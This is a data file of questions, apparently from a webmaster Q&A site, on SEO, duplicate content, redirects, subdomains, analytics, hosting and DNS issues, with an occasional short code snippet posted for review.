{"id":"11992","title":"How to Preserve PageRank for Disappearing Pages?","text":"Pretend that USA Today has a section of their site where the sell electronics, which they locate at http:\/\/electronics.usatoday.com. The subdomain is powered by an online electronics store called NewCo via a white label. Many of the pages on this subdomain have relatively high PageRank. But few, if any, external sites link to the subdomain--the PageRank of the subdomain is largely due to internal links from the usatoday.com root domain. USA Today's deal with NewCo expires and they decide to partner with my startup instead. But, unlike NewCo, we won't be providing a white-label solution; rather, USA Today will be redirecting all of the electronics-related links on their root domain to my site instead of the electronics.usatoday.com subdomain. They also agree to direct all of the pages on electronics.usatoday.com to me. Ideally USA Today would add 301's to all of their pages on electronics.usatoday.com that direct to the corresponding pages on my site, but they don't have the engineering wherewithal or resources to do this. Therefore, what is the best way to pass the PageRank from the electronics.usatoday.com pages to my site? Would it work to have USA Today change the CNAME for electronics.usatoday.com to my site and then create pages on my site that mimic the USA today URL structure? For example, let's say there was a page located at electronics.usatoday.com\/ipods. Could we give electronics.usatoday.com a CNAME form my site and then create a page on my site located at mysite.com\/ipods that 301'ed to the ipod page on my site? Would that preserve the PageRank?"}
{"id":"49117","title":"Changing image upload directory","text":"A couple of years ago I changed my websites upload directory to a subdomain (to images.mudfooted.com). I am now working on a major update on my website and wondering if the subdomain is actually the best option compared to a subdirectory (e.g. mudfooted.com\/images). I get a lot of visitors via google images but am wondering if the hits to the images.mudfooted.com subdirectory only are not added to the mudfooted.com hits. I initially chose to use a subdirectory to increase the site loading speed. So my question: Is it better to change the upload directory to a subdirectory or subdomain, taking loading time and SEO into account. Thanks for you help."}
{"id":"36307","title":"PHP W3 Validator API, Is this good?","text":"I was trying to find a way to see if my site's code was valid or not but I continuously going over to W3 Validator so I decided to make an \"API\" however it really isn't! I just wanted to know if anybody can find a better solution to the one I have made. This is what I currently use, with the usage of ?uri=http:\/\/www.mydomain.com : <?php if(!$_GET['uri']) { echo \"No URI!\"; } else { $CheckURI = \"http:\/\/validator.w3.org\/check?uri=\".$_GET['uri']; $URL = file_get_contents($CheckURI); $Start = strpos($URL, \"<title>\") + 7; $End = strpos($URL, \"<\/title>\"); $Title = substr($URL, $Start, $End-$Start); if(preg_match('[Invalid]',$Title)) { \/\/Code is INVALID echo \"<a href='$CheckURI' title='This is not good!' target='_BLANK'>INVALID Source<\/a>\"; } elseif(preg_match('[Valid]',$Title)) { \/\/Code is VALID echo \"<a href='$CheckURI' title='Check It Yourself!' target='_BLANK'>Valid Source<\/a>\"; } else { \/\/It Went WRONG echo \"\"; } }"}
{"id":"21280","title":"SEO & Multilingual: would be this a good practise?","text":"I am currently making a bilingual website and I'd like to get nice SEO results of course. **Here's my idea:** The internal links would be composed of the \"www\" subdomain so that people can share links regardless of their language. Anyway, their language is determined by the `HTTP_ACCEPT_LANGUAGE` PHP variable. So, they would see http:\/\/ www.site.com\/mydocument\/123 in their adress bar and never see any links like \"http:\/\/ fr.site.com\/mydocument\/123\" or \"http:\/\/en.site.com\/mydocument\/123\" The user can always switch the page's language thanks to links in the footer. The switching language link would be : http:\/\/ fr.site.com\/mydocument\/123 , and clicking on it would change his language session and redirects the user to http:\/\/ www.site.com\/mydocument\/123 **In case of a crawling bot:** I read that if the HTTP_USER_LANGUAGE variable was missing then it's a crawling bot. So, in that case, we set the defaut language as English. Each page, as I mentionned earlier, has a link for another language: On the page: **http:\/\/ www.site.com\/document\/1323** , the link **http:\/\/ fr.site.com\/document\/1323** can be seen by the bot and be crawled. * What do you think about this practise ? * Would I get good SEO results for each language ?"}
{"id":"46655","title":"What is g1sense.int.godaddy.com?","text":"I recently looked at my list of referrers (ie, previous page the user was on), and one odd one is a link like `http:\/\/g1sense.int.godaddy.com:15871\/cgi- bin\/blockOptions.cgi?ws-session=3372311093`. The domain name just redirects back to `godaddy.com` though and going to the link doesn't seem to actually do anything. The odd thing is, I'm not the only one seeing this mystery referrer according to Google. Because it seems so widespread, can anyone tell me what this is? Is my site being blocked by a user or in some other way?"}
{"id":"42337","title":"How to maintain unique user per paid account in a website with given set of Email ID and password?","text":"For a website, there is a free and a paid membership option. Once the user pays some amount he gets a membership for a month for additional products that are not in the free account on the website. Now once the user pays and gets a membership, how to make sure that only one user accesses the account ? I just want that only one user should use a paid account and even if he gives the set of Email ID and password to his friends, they shouldn't be able to login. So what do I need to do for this ? There are many sites that offer paid membership options. Do they do anything special to restict one user per paid account ?"}
{"id":"46659","title":"What is the syntax for putting a nofollow attribute into a javascript file","text":"Matt Cutts states in this video: > It turns out that as we are executing JavaScript, we do look at the > attributes. So you can actually use Javascript and put, like, a nofollow > attribute on individual URLs. I'm not clear to me what the syntax for that would be. How would I put a nofollow on a link in a variable like this? var mylink = \"http:\/\/example.com\/\"; or if it in AJAX like this? $.ajax({ type: 'post', url: '\/path\/ajax-handler\/' + method, success: function(data) ..."}
{"id":"42332","title":"Find visitors to multiple subdomains on single visit with Google Analytics","text":"I'm working on a site that has quite the backlog of Google Analytics data for their site network. One of our big questions is whether people enter on one site and move to another (and if so, of course, how do these visits differ from single site visits). The hostname report (Audience > Network > Hostname) shows all the host names and I've setup Advanced Segments to get site-specific data. That all works great, but I'm really having a hard time figuring out how to find visits to multiple sites as defined by visiting more than one subdomain or the root site and one or more subdomains. I do see that other hostnames somehow come through when I apply one of the segments to the host name report. Which I can't say I expected. Is that the best way to see if people are visiting 2+ sites?"}
{"id":"55954","title":"Black background","text":"Background of my site is black. Every reloads, browser's window **_blink_** , because default setting of browser binary is \"white background\". ( Chrome & Firefox ) Is there an exit, but rebuild whole browser from sources?"}
{"id":"20089","title":"How is web hosting CPU usage measured?","text":"Among virtual hosting providers, there is usually an amount of storage and bandwidth specified in the service description (example: 50 GB storage, 1 TB bandwidth\/month) but no such thing for CPU usage. However, usually a clause in the agreement says something about using resources excessively. * How is this measured? * What is the measurement units? * What is being measured? * Is this a CPU usage percentage? * Does the peak count or the average (over a period)? * Excessive relative to what? * Since no measure is specified in the agreement, what can be done to avoid being squeezed into more expensive plans?"}
{"id":"20087","title":"Are Dynamics CRM 2011 webservices accessible from outside?","text":"I am working on a CRM 2011 implementation and we need to give access to CRM webservices (for instance, the Update Account) methods. This is because, our CRM needs to be feeded by _n_ third party websites. Can this be acomplished? Can the, original, native CRM webservices be opened to internet? Note: We think, as an alternative, to wrap the original web service within a custom one, so, we expose our webservice, lets say \"CreateAccount\" and, from it call the local CRM webservice. But. this is a thing that we **really love to avoid.**"}
{"id":"20083","title":"Should I store address in encrypted form?","text":"What are the general rules relating to address fields and others. I only store password in encrypted form, the rest are not. Email is also used during login. Can someone give me a suggestion related to * email * address * city * zip codes and others you may thing of. I am the only admin at this point and no one else is viewing any record. What should be standard? As a side question, should I store address no matter what (or optional) since the website is about buying stuff?"}
{"id":"48223","title":"Malware\/Viruses on Server","text":"I was contacted yesterday for a potential freelance job. The guy told me he has a WordPress site and that his host told him was hacked and there are code injected files in the install. The host has temporarily blocked all front end access to the site until these files are deleted or fixed. My question is in regards to the viruses\/malware or corrupted files and opening an FTP or SSH connection to this hosting account. What risks are posed when opening a connection to this hosting account? Can these files potentially transfer any malware to my desktop and then again to other sites I open connections to? I am not familiar with this type of situation, and appreciate any insight into it."}
{"id":"5704","title":"SEO for pages that load from database","text":"I have a very stupid question. I developed a website that has only one page at the public html directory(index.php). all content are dynamically loaded as different pages. How can i SEO my pages for google? i mean like the what we type in this site are .............i believe stored in database and search engine find these pages like any static pages... Just a little tip would be appreciable.......!"}
{"id":"65776","title":"How to do SEO for database driven web? Asp.net","text":"Hi to everyone and thanks in advance for your time reading this question. Im kinda new on this SEO stuff and there is something that I can't figure out how it works despite all the readings that I did. I've developed a new website which allows users to add recommendations for every kind of bussiness, places, professionals, etc, so other people can see if travel to X place is worth it for example. From what I've read so far (and from what I've understood, which are actually two different things haha) its important to make user and search engines friendly URLs and have proper keywords, title and h1 tags. (I've read this post SEO for pages that load from database and a few more) That's not a problem because I can do that on server-side code, but what I actually don't understand is how Google shows pages that collect info from databases on his search results. Lets put an example just to detail this a little bit more. If we go to Google and search for \"abercruz paginas amarillas\" google show us a link that send us to a page from \"paginasamarillas.com\" which has all the details about that store. Instead if we go to Google and type, \"abercruz yousug\" (which is my page) nothing shows up. I know that it could take a few days to Google to index my page but I don't understand HOW could Google \"search\" into my database (or page, or whatever) to end with the correct URL which shows the details of that Commerce If someone could explain me that or help me a little bit understanding how to rank content that is generated from a database I will very grateful. Thanks again!"}
{"id":"25291","title":"What is Easiest Way to Change URL Structure of Dynamic PHP Website?","text":"I am a SEO guy and always facing this problem, that PHP sites make dynamic URL with IDs. This is not SEO friendly structure—like this `\/article.php?id=2987`—and need to be changed like this `\/why-to-hire-a-seo- specialist`. Is their any easiest way to change this type of URL structure?"}
{"id":"52019","title":"How can a Google crawlers see PHP dynamic content?","text":"I'm reading the Google SEO starter guide and on page 11 it says you should prepare a site for users and one for search engines in XML. My site is about vehicles, and vehicle is not in a separate folder. It gets loaded dynamically with GET and PHP – so can Google crawl this if it's \"not really there\"? The pages are there under `?GET` variables like `home.com\/seevehicles?2009-camar` so am I doing it wrong or can Google also crawl this?"}
{"id":"22804","title":"SEO purpose: Does Google prefer html sites than wordpress sites?","text":"> **Possible Duplicate:** > SEO for pages that load from database Will html sites have any advantages over blog sites while getting analyzed by Google bot?"}
{"id":"57616","title":"How should I create URLs for database generated content that can be indexed by search engines?","text":"I have learned how to retrieve data from a database to a single page by using a form, so I would not need to create many pages to show the elements of a catalog. The concern that I have is how to make this database content available for search engines. I have read that I need my site to generate different URLs for each search result, but in my test, the webpage always has the same URL without any additional parameter. I know that sites like Facebook and similar generate particular URLs for each profile and they are indexed, but I don't know if \"physical\" files exist for them or how this is done. I have read similar questions to this, but still can't figure how to generate the URLs."}
{"id":"35117","title":"Do Parallels Plesk Panel 11 have free inbuilt firewall?","text":"I am new to Linux Dedicated server hosting and plesk panel 11 , i am looking for **inbuilt firewall module** . Is it comes with free in plesk 11 or i need to pay or plesk 11 doesn't support firewall?. I looked at the demo http:\/\/www.parallels.com\/products\/plesk\/demos\/, but i couldn't find any information about firewall in plesk 11."}
{"id":"10393","title":"Problem with DNS","text":"I bought a new website, and the company gived me another free domain name, so when I asked for the socond they created it and they told me to change the DNS to look like the first one. It's been a week waiting for it to propagate, today when I type the url I got this error message : If you are the web site owner, it is possible you have reached this page because: * The IP address has changed. * There has been a server misconfiguration. * The site may have been moved to a different server. If you are the owner of this website and were not expecting to see this page, please contact your hosting provider. When I try to add the second domain to my cpanel (Addon domain) I get also another error : `The addon domain “abcdef.com” has been created.` `An account with that login already exists.` Do you have any ideas about this problem. Thanks. `EDIT` I tried to flush the DNS with `ipconfig \/flushdns`, but It's not changing anything."}
{"id":"7218","title":"BBCode or WYSIWYG editor for non-technical people","text":"I am creating a forum for non-technical people, and I can't figure out if BBCode or a WYSIWYG editor is easier for them to use. The forum is for craftsmen, and I am therefor in doubt if a BBCode editor would be too difficult to figure out. Does any of you have any good suggestions on what to use?"}
{"id":"16931","title":"What is a rough maximum amount of page views per month that an average shared hosting service should support in your opinion?","text":"Sorry for asking such an in-exact question, but I would really love to know what professional webmasters consider to be the rough limits of standard shared hosting services (GoDaddy, MediaTemple, ThePlanet, et al). I realise mileage varies massively, but I spend a lot of time wondering when to move growing sites from shared hosting to some more robust like a services like a VPS. Would it be fair to say that once a site hits 50,000 page views per month, one should consider better hosting, or should a shared host be able to handle this?"}
{"id":"7210","title":"Should i add rel nofollow to menu links?","text":"Should i add rel nofollow to the links from my site menu ? (to the links like: home, about us, contact etc... that doesn't have no connection with the site niche) Does this helps? What other options i have?"}
{"id":"44654","title":"Should initials of names be seperated by a dot or by a hyphen for seo purposes","text":"I wanted to use names with initials in the URL. For example if j.k. Brothers is the initials and name then is it good to make my URL like so: sitename.com\/j.k.brothers\/listing\/ Or would it be better to use hyphens like so: sitename.com\/j-k-brothers\/listing\/"}
{"id":"17388","title":"SEO effect of linking text out of context","text":"I came across a curious situation recently. I was reading an article where some text was linked but such that the link text was completely out of context. Here is an example: > as I work my way through the `<a ...>`best insurance`<\/a>` fraud crimes > making the news The linked text, \"best insurance\" is linked completely out of context as the \"best\" describes the \"insurance fraud crimes\". Is there any SEO effect to this? Is there any indication that search engines attempt to analyse context of links as closely as required to detect this?"}
{"id":"7217","title":"Address bar showing long URL","text":"I recently upgraded my hosting account to Deluxe where I can host multiple websites. I added a domain name and created a folder in the root directory giving it the same name as my domain name and uploaded my files. Now when I navigate the site the address bar shows: 'http:\/\/mywebsite.com\/mywebsite\/default.aspx' I want it to display: 'http:\/\/mywebsite.com\/default.aspx' My thinking in creating folders that match the domain names is to keep them somewhat organized; never intended to have my domain names listed twice in the address bar."}
{"id":"53898","title":"are literary works published in my and various websites considered duplicate?","text":"I have published an ancient literary work which is not copyrighted or owned by any party. i can see other websites, news magazines sites published the same long back. The literary work consists of 1330 verses which cannot be modified and we don't want to modify. _It is of 133 chapters with 10 verses in a chapter. so websites categorize as 133 pages normally. each verse is exactly 7 words. and all websites will have these verse with optional extra information. so if compared with different websites which had published this we can see an exact copy of 20 lines with optional additional information below each verse of in some other form. When talking about the original source it is from text books published long before internet appeared._ Will that be considered duplicate? if so then how to emphasize that it is a literary work common for all (i mean anybody can use it) ?"}
{"id":"12221","title":"Launch of new website deleted google rank?","text":"I think i might have slipped up here and would love some advice on this before i start making changes We have the domains www.mysite.com and www.mysite.co.uk Currently we have the main site on www.mysite.com , this runs a host of subdomains uand redirects for other sites, in asp.net I develop in php and as such thought it would be easiest to launch a new server and host the new site on www.mysite.co.uk and put a frame forward on the www.mysite.com domain. This would means no other changes needed, as i wasnt too sure about the DNS settings and certainly wouldnt want to play with the source code and server. This frame forward provided by 123-reg seems to have destroyed all page rankings though, cant find www.mysite.com in any searches Is there away to get the www.mysite.com ranking back up to the top again? Thanks for your advice"}
{"id":"63050","title":"How to handle URL encoded parameter separators when responding to AJAX crawled _escaped_fragment?","text":"I've been reading about how to handle Google requested URL here There is an example from Google : * Pretty URL: `www.example.com?myquery#!key1=value1&key2=value2` * Ugly URL: `www.example.com?myquery&_escaped_fragment_=key1=value1%26key2=value2` As you can see, in the ugly URL there is \"%26\" characters, as explained by Google that they need to be unescaped by the web server to obtain the original URL: %00..20 %23 %25..26 %2B %7F..FF As in the example, the \"%26\" (ugly URL) represents the \"&\" (pretty URL), so in this case, we need to replace \"%26\" with \"&\" to get the original URL. How do we know which character is represented by the special characters that Google replaced?"}
{"id":"54483","title":"Google Analytics Not tracking data correctly IP-address issue?","text":"I have developed a small site for a client and the site has been placed inside a `<iframe>` at the clients site. The GA-script I'm using looks like this: <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push( ['_setAccount', 'UA-XXXXXXXX-2'], \/\/My company's GA-account ['_trackPageview'], ['b._setAccount', 'UA-XXXXXXXX-1'], \/\/ Test GA-account ['b._trackPageview'], ['th._setAccount', 'UA-XXXXXXX-3'], ['th._setDomainName', '.clientdomain.se'], \/\/ Client GA-account ['th._trackPageview'] ); (function () { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); <\/script> <\/head> As you can see I report the GA pageviews to the client as well. The GA script is tracking visitors and pageviews at both ends. But the problem is that on my clients side the visitor-count is more than double what they are on my end (20 000 vs 5 000). At first I thought that it was being duplicated at some point but when I checked my Crazy-Egg account I saw that it had tracked over 10 000 visits and then stopped tracking because that was my limit on the account. The page my site is on is on a IP-address (http:\/\/XXX.XXX.XX.X\/campaign\/) and not on a \"valid url\". Could that be an issue why some of the visitors isn't beeing tracked? Thanks in advance"}
{"id":"60245","title":"Measuring percentage of visitors connecting over https","text":"Does Google Analytics expose information about the connection protocol used by site visitors? I don't see any option in the customization section... is this something I'd have to use a custom variable to capture?"}
{"id":"6218","title":"Facebook like button in plain HTML, is it possible?","text":"just a quick question, **is it possible to create an _FB Like_ button in plain HTML?** I checked out the Like button code dircetly cerated by developers.FB but it's an <iframe src=\"http:\/\/www.facebook.com\/plugins\/like.php?href=...><\/iframe> I also checked out the addthis.com and it's a bunch of **Javascript**. I mean: **is there a way to just use something simple?** Example: <a href=\"http:\/\/www.facebook.com...?page=my-fb-page...\" rel=\"nofollow\">FB like, click here<\/a> I know in this way it won't show anymore \"how many people like\", but I don't mind this, I just want something simple, so I can use my own icon or text, etc. In my understanding for the Share button is possible by just adding: <a href=\"http:\/\/www.facebook.com\/share.php?u=your-percent-encoded-url-of-your-site-page.hmtl\">To share on FB click here.<\/a> So i suppose it could be possible also for the Like button."}
{"id":"51845","title":"Best way use a keyword rich domain to increase ranking of another website on that keyword","text":"Consider the following scenario - we have an e-commerce enabled website selling (say) routers in Britain. Now, one of my keyword (of great importance) is \"British Routers\". My website is already on second page but not moving ahead for this keyword. A little bit of research revealed that the domain britishrouters.com was available which I bought. Now I want to make know what is the best possible way by which I can get my original website to move ahead on this keyword using this domain. Though I am no SEO person but I guess 301 redirects would already be covered by Google. My best possible bet is to probably do a wordpress install and write a few blogs having links to my original domain."}
{"id":"35652","title":"What is duplicate content and how can I avoid being penalized for it on my site?","text":"_This is a general, community wiki question regarding duplicate content._ _If your question was closed as a duplicate of this question and you feel that the information provided here does not provide a sufficient answer, please open a discussion onPro Webmasters Meta._ * * * 1. What does Google consider to be duplicate content? 2. Will the way I am presenting my content result in a duplicate content penalty? 3. How can I avoid having my site's content treated as duplicate content?"}
{"id":"16988","title":"product in multiple categories - duplicate content problem","text":"> **Possible Duplicate:** > Content appearing under multiple categories; anything I can do to prevent > duplicate penalty? What is the best practice to display a product that may be in several categories without producing duplicate content as far as search engines are concerned? In the past I have used a default category for each product so only one url is ever displayed for each product, but this is not a nice user experience if for example a product is listed in: maincategory A, subcategory B and also maincategory B, subcategory D and the user navigates through B > D to the product and the page url is displayed as website\/A\/B\/product - the user may have lost the subcategory they came from initially. Is it really necessary to remove the duplicate url for SER purposes? Or will the SE pick the most appropriate one to list?"}
{"id":"57752","title":"Categories as duplicated","text":"Would Google treat different categories as duplicated? On my website, one content can have up-to 10 different categories. That makes every content appears in all those categories plus the main page."}
{"id":"35002","title":"Can mass different log-in pages result in SEO duplicate and\/or low quality punishments?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I have internal pages that rely on an external API which I would like to build upon user request. Two options I thought about: 1. Make lots of 'thin' pages that specifies that if you want content about X, you need to log-in, and then the page will be built. Pros: user understands what he'll get when logging in. Cons: SEO implications of such a solution due to the mass 'low quality' and 'cross-sites duplicate content' 2. Make them all redirect to ONE same generic log-in page. Pros: No duplicate low quality content. Cons: Lots of internal links to the same log-in page. Which would you recommend?"}
{"id":"28629","title":"Could this be considered duplicate content?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I'm building a dating site at the moment. On the homepage I have a paginated list of all members on the site. Each page displays 10 members from newest to oldest. The pagination is simply \"<< Prev\" and \"Next >>\" links, so Googlebot should be able to crawl each and every member profile on the site. Now the thing is, these profile listings also appear on other pages. A listing block such as: ------------------------------------- <IMAGE> Jill \/ 28 \/ Straight New York, NY Likes: long walks on the beach, vodka ------------------------------------- Will appear on the `Homepage ---> www.mysite.com\/page\/2` as well as on this category page `\"Women seeking Men\" ---> www.mysite.com\/women-seeking-men\/page\/3` So that's two places where the same listing block appears. Is this considered duplicate content?"}
{"id":"31821","title":"SEO with duplicate content","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I have a nature photography site with multiple types of photo galleries. Each photo and associated caption on my site appears in several galleries. For instance, a photo of a goldfinch that was taken on a trip to New Mexico in 2008 will appear in the \"goldfinch.php\" gallery, in the \"finches.php\" gallery, and in the \"New_Mexico_2008.php\" gallery. This duplication is useful for my site visitors - User A may want to see goldfinch photos, whereas User B wants to see photos from New Mexico - but I am concerned about the SEO implications. The typical suggestions to deal with duplicate content, such as 301 redirects and canonical tags, probably won't work in this case, because the page content is substantially different (ranging from ~1% to ~90% duplication, depending on the specific example chosen). The obvious solution to me would be to edit robots.txt to only allow search engines to crawl one type of gallery - for instance, if they crawled only the galleries organized by species(e.g. goldfinch.php), all the photos on my site would be found exactly once. However, the Google content guidelines recommend against blocking crawler access to duplicate information. Should I go ahead and use robots.txt anyway? Or is there a better solution?"}
{"id":"65295","title":"SEO - Listing Sidebar Code Before Content Code","text":"On my website, I have always ordered my code with the code for the sidebar coming first, then the navigation bar, then the content section (with the individual paragraphs, images, etc... specific to each page), and lastly the footer. By order, I simply mean the code for my sidebar is first in the HTML document. The sidebar, navigation bar, and footer are all pretty much the same on all pages of the website. Is it bad that I am listing the duplicate content first? Should I be putting my content code first, because that is the part that is unique to each individual page? Does it matter what order code is listed in (especially for example if the navigation is absolute positioned and not within the flow of the document)? **Edit** This is specific not only about the order of HTML code but also the influence of duplicate content within the order of HTML. It may be that text that comes first in an HTML document is more heavily weighted, but does duplicate content apply to that as well."}
{"id":"16187","title":"I have domain.com and domain.org to the same site, should I use redirects to avoid duplicate content","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I have both the .com and the .org for a domain name, and using Apache I point them to the same site content. I think this might be causing problems with the Search Engines because of duplicate content. I want the .org to be the essential website. How do others handle this situation? Should I be using 301 redirects to point all the .com requests to the .org? Should I just use the link rel=\"canonical\" on each page to point to the .org?"}
{"id":"48715","title":"What is duplicate content and what does it affect negatively?","text":"I am fascinated by **SEO** and it's merits, so that's why I am going to optimalize my website. There are still a couple of questions that do pop up... Well, I am aware that duplicate content is not done, but I don't know what **duplicate content** is for `Google`... For example, I have a page which links to the top rated posts at the front page... If I click on another page, I do see the same link, but in a different context; not top rated, but just, a regular post... Question: is this duplicate? I have two links that are going to the same post, but is this seen as duplicate? On the other hand, I have a list of posts that I have ordered in a particular order. Now, I have three links that link to the same post. Besides, I have made an excerpt of the concept with a \" **read more** \" to the same post; I have 4 links to the same post... Is this duplicate content? If yes, what should I do? A `no-follow` on those links? On the other hand, I have **author pages** + **tag pages** in which the same posts pop out. Where do I put a no-follow and why? I would appreciate feedback and help."}
{"id":"31814","title":"Does Google penalize pseudo-duplicate pages for different locations?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? My compony's site's home page was not specificly optimized to any location. Now, I am planning to optimize it to Boston, and create ten or so other landing pages for other locations we serve. If we made these new pages by copying the original Boston one and changing the location's name (s\/Boston\/Montreal\/), would Google consider them as duplicate pages and penalize us? What is the best practice for this?"}
{"id":"12269","title":"How to tackle this duplicate content issue?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I've a new website coming up with 1000's of page which will contain some city codes. I'd also like to place city info copied from Wikipedia(as per Creative Commons License). Now the focus of the pages will be city codes. Wikipedia content will be there only to improve page appearance. However it can be slapped duplicate content penalty so I should use rel=canonical. But the main content\/focus of site is some city codes and not Wikipedia info per se. Rel=canonical will give impression that whole part of page is duplicated lowering the page seo worth. **What should I do to tackle this duplicate content issue?**"}
{"id":"9690","title":"SEO penalty for \"duplicate\" content when a site's also accessible via another domain name?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? While testing searches for keywords on my site, I notice that a mirror of it at http:\/\/a8.8d.344a.static.theplanet.com\/ sometimes appears at the top result rather than my primary domain. It looks like this is an alternative address for my server. Will the presence of identical content at this domain and at my primary domain result in a Google penalty? If so, what can I do about it? Thanks for any help..."}
{"id":"6269","title":"Avoiding Duplicate Content Penalties on a Corporate\/Franchise website","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? My question is really an extension of a previous question that was ported from stackoverflow and closed so I cannot edit it. The basic gist is a regional franchise company has decided to force all independent stores into one website look; they currently all have their own domains and completely different websites. After reading the helpful answers and looking over some links provided, I think my solution is to put a 301 on each franchise store site (acme-store1.com, acme-store2.com, etc) back to the main corporate site (acme.com). All of the company history, product info, etc (about 90% of the entire site) applies to all stores. However, each store should have some exclusive content such as staff, location pictures, exclusive events and promotions, etc. I originally thought that I would simply do something like acme.com\/store1\/staff, acme.com\/store2\/staff, etc for the store exclusive content and then acme.com\/our-company, for example, would cover all stores. However, I now see two issues that I don't know how to solve. 1. They want to see site stats based on what store site they came from. If a user comes from acme-store1.com, is redirected to acme.com and hits several pages, don't I need to somehow keep that original site in the new url to track each page in that user's session and show they originally came from acme-store1.com? 2. Each store is still independently owned and is essentially still in competition with the other stores, albeit, in less competition than they are with other brands. This is important because each store would like THEIR contact info, links to their social media pages, their mailing list sign-up and customer requests on EVERY page. So if a user originally goes to acme-store1.com and is redirected to acme.com, it still should look to the user that it's all about store 1, even though 90% of the content will be exactly the same as it is in the store 2, store 3 and corporate site. For example, acme.com\/our-company would have the same company history, same header\/footer\/navigation, BUT depending on the original site the user came from, it would display contact and links to THAT store. If someone came directly to the corporate site, it would display their contact and links (they have their own as well). I was considering that all redirects would be to store1.acme.com, store2.acme.com, etc (or acme.com\/store1) and then I can dynamically add the contact info and appropriate links based on the subdomain or subfolder. But, then I have to worry about duplicate content penalties because, again, about 90% of the text in these \"subdomains\" are all the same. For reference, this is a PHP5 site. I've already written a compact framework utilizing templates and mod-rewrite that I've used for other sites. Is this an easy fix that I'm just not grasping? Any suggestions?"}
{"id":"8401","title":"Duplicate content, point to original?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I am building a website for a client and would like to have some tabs on each product page with the instructions, postage info, ordering info in, the problem is that most of these tabs are universal and will be the same across more than one product. Will the site get penalised for duplicate content and is there a way to point to the original content in some way?"}
{"id":"38789","title":"SEO problem for site with 2 domains","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I have two domains pointing to the same site. I want both domains to co-exist, they share most of the same content, but they differ in design and they are aimed at different markets \/ rivaling communities. Is there a way to let google know that these two domains are the same site and don't cause me to get hit with a duplicate content penalty? Any other general SEO tips for this situation would also be welcomed. Thanks. Come on man, why was this closed. The linked page is completely irrelevant for me."}
{"id":"14284","title":"Two URLs pointing to almost the same content","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? What I would like to do is the following: I have a website at `http:\/\/dev.upcoming-djs.com` which display a music chart. And displays a music player at the right side. I would like to make an URL like: `http:\/\/dev.upcoming-djs.com\/track` Which points to the same page only with the track loaded in the player at the right side. If I understand correctly it isn't good (SEO-wise) to point different URLs to the same page (with same content). Is this true? And if so is the penalty severe?"}
{"id":"28760","title":"Does duplicate content inside your own website matter for SEO?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I'm not referring to the duplicate content where you copy content from another site and publish it on your own. I am talking about original content that you produced. If on 10 pages on your site you have more or less the same content, would this affect your ranking with Google?"}
{"id":"14775","title":"Duplicate content - linking to other versions of same page","text":"> **Possible Duplicate:** > Two URLs pointing to almost the same content If I have a page, that has this url: * domain.com\/category\/something\/ but can also be accessed through these urls: * domain.com\/category\/something\/1 * domain.com\/category\/something\/2 * domain.com\/category\/something\/3 where the last number is used as an image-index to display a certain image on the page. So the content of the pages are the same, just with one image changed. How do I avoid google indexing the versions with \/number at the end, so it only shows up once in searches - and is not considered duplicate content? Is it enough to put a rel=\"nofollow\" on links to the \/number links?"}
{"id":"7935","title":"Mobile website causing duplicate content issue on Google - how do we fix it?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? My website exists at `www.<site>.com` for desktop browsers and `m.<site>.com` for mobile browsers. We are now seeing that for some Google searches, our mobile site outranks our main website; it doesn't seem to matter if the search is done from a desktop PC or a mobile phone. Aside from that not being the desired behavior, we're concerned that Google is seeing our mobile site as duplicate content of our main site. At this point we're considering an outright block of Google's crawler on the mobile site (via robots.txt). Is that the best approach? Is there a way to make our mobile site show up for mobile search, our main site to show up on desktop search, and avoid the present confusion? Thanks! -James"}
{"id":"13480","title":"Duplicate content for sub domains i.e. example.com\/subdomain\/index.php seen the same as example.com\/subdomain\/","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I have a website with some sub domain folders and seomoz is picking them up as both duplicate content and duplicate page titles. In actual fact, its the same page i.e. www.example.com\/subdomain\/index.php is seen the same as www.example.com\/subdomain\/ I want to point everything to the later. I'm sure this will be done in the htaccess file. I sorted it for the main site (home page) and everything works fine but when I tried copying the code and re jigging it for the subdomains, either nothing happened or the page went down."}
{"id":"17154","title":"Same page in different \"locations\" on same site - duplicate content?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? The same page, or rather the same content on a page is accessible from two very similar URLs, namely: * http:\/\/www.example.com\/path\/to\/page.php * http:\/\/www.example.com\/path\/to\/page.php?catIndex=1 The URL param in this case affects all the navigation links on the page. Basically, the same page is accessible via two separate navigation routes. To the end user, who doesn't look at the URL, they could be perceived as two separate pages in different parts of the site, although the content is identical. I have a `rel=\"canonical\"` link element linking to the first URL (without the URL param). Could a search engine perceive this as duplicate content? I think my eyes have gone square, but I was considering adding a robots \"noindex\" meta tag to the page when the `catIndex` URL param exists. But it is really the same URL and I do want the content indexed once, so I'm now thinking this would be foolish?!"}
{"id":"21885","title":"Duplicated content in Google. Same subpage different link","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? At my website I can access published posts by two different types of links. For example http:\/\/mysite.com\/posts\/333 points at the same content as http:\/\/mysite.com\/check\/this-is-news,333 is . How Google search engine will deal with it? Is it example of duplicated content or not?"}
{"id":"56485","title":"How much duplicate content percentage is considered as bad for SEO?","text":"If a site contains 94% of unique content and remaining 6% of the content coming under duplicate, then can it be considered as bad for SEO?"}
